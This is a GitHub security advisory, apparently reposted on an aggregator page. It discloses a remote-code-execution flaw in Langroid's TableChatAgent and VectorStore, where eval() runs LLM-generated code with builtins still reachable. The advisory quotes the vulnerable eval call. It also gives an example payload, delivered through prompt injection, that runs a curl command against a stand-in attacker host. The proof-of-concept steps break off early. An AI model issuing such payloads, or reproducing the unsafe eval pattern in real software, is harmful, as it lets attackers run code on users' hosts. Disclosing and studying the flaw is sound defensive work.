GHSA-q9p7-wqxg-mrhc: Langroid: Sandbox Escape to Remote Code Execution via Incomplete `eval()` Mitigation in TableChatAgent
Advisory Details
Title: Sandbox Escape to Remote Code Execution via Incomplete eval() Mitigation in TableChatAgent
Description:
Summary
Langroid is vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its TableChatAgent and VectorStore capabilities. When these agents evaluate LLM-generated tool messages with full_eval=True, they attempt to sandbox the execution by explicitly setting locals to an empty dictionary {} inside Python's eval() function. However, this relies on an incomplete understanding of Python's execution model. Because builtins is not explicitly scrubbed from the globals dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like import('os').system(). Since TableChatAgent.pandas_eval() executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system.
Details
The root cause lies in how the framework evaluates generated Python code without a proper restricted environment.
Specifically, in /langroid/agent/special/table_chat_agent.py around line 239:
The vars mapping does not proactively overwrite or remove builtins
The empty {} locals parameter provides false security.
eval_result = eval(code, vars, {})
And similarly in /langroid/vector_store/base.py around line 225:
result = eval(code, vars, {})
An attacker can utilize Prompt Injection to force the language model to generate a Tool Call with the specific expression property set to:
import('os').system('curl http://attacker.com/pwned')
Because the empty {} locals dictionary does not restrict globals implicitly derived via the Python interpreter, this execution succeeds without raising a NameError.
PoC
To reproduce the vulnerability on any local Langroid installation:
1. Start a vulnerable chat agent locally running Langroid
Details
Original advisory: https://github.com/advisories/GHSA-q9p7-wqxg-mrhc
Exploitation outlook
EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.
- Low exploitation riskCVE-2026-547690.91% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 56% of all scored CVEs.
Referenced CVEs
| CVE | CSIRTS overview | External |
|---|---|---|
| CVE-2026-54769 | coverage & exploitation status | NVD · CVE.org |
Same CVEs, other sources
How other CERTs, PSIRTs and databases cover the vulnerabilities in this advisory.
More from GitHub Security Advisories
- criticalGHSA-g936-7jqj-mwv8: TSDProxy: Internal proxy auth token forwarded to backend services enables management API …2026-07-10
- highGHSA-fpg8-7664-jc5q: melange: Incomplete package integrity verification allows data section substitution2026-07-10
- mediumGHSA-48rx-c7pg-q66r: Excon does not redact additional sensitive/risky headers when following redirects2026-07-10
- highGHSA-h4g2-xfmw-q2c9: Clauster: Non-loopback deployments can serve the dashboard unauthenticated when auth.enab…2026-07-10
- mediumGHSA-rqq5-2gf9-4w4q: Secure Headers: CSP directive injection via sandbox, plugin_types, and report_to when giv…2026-07-10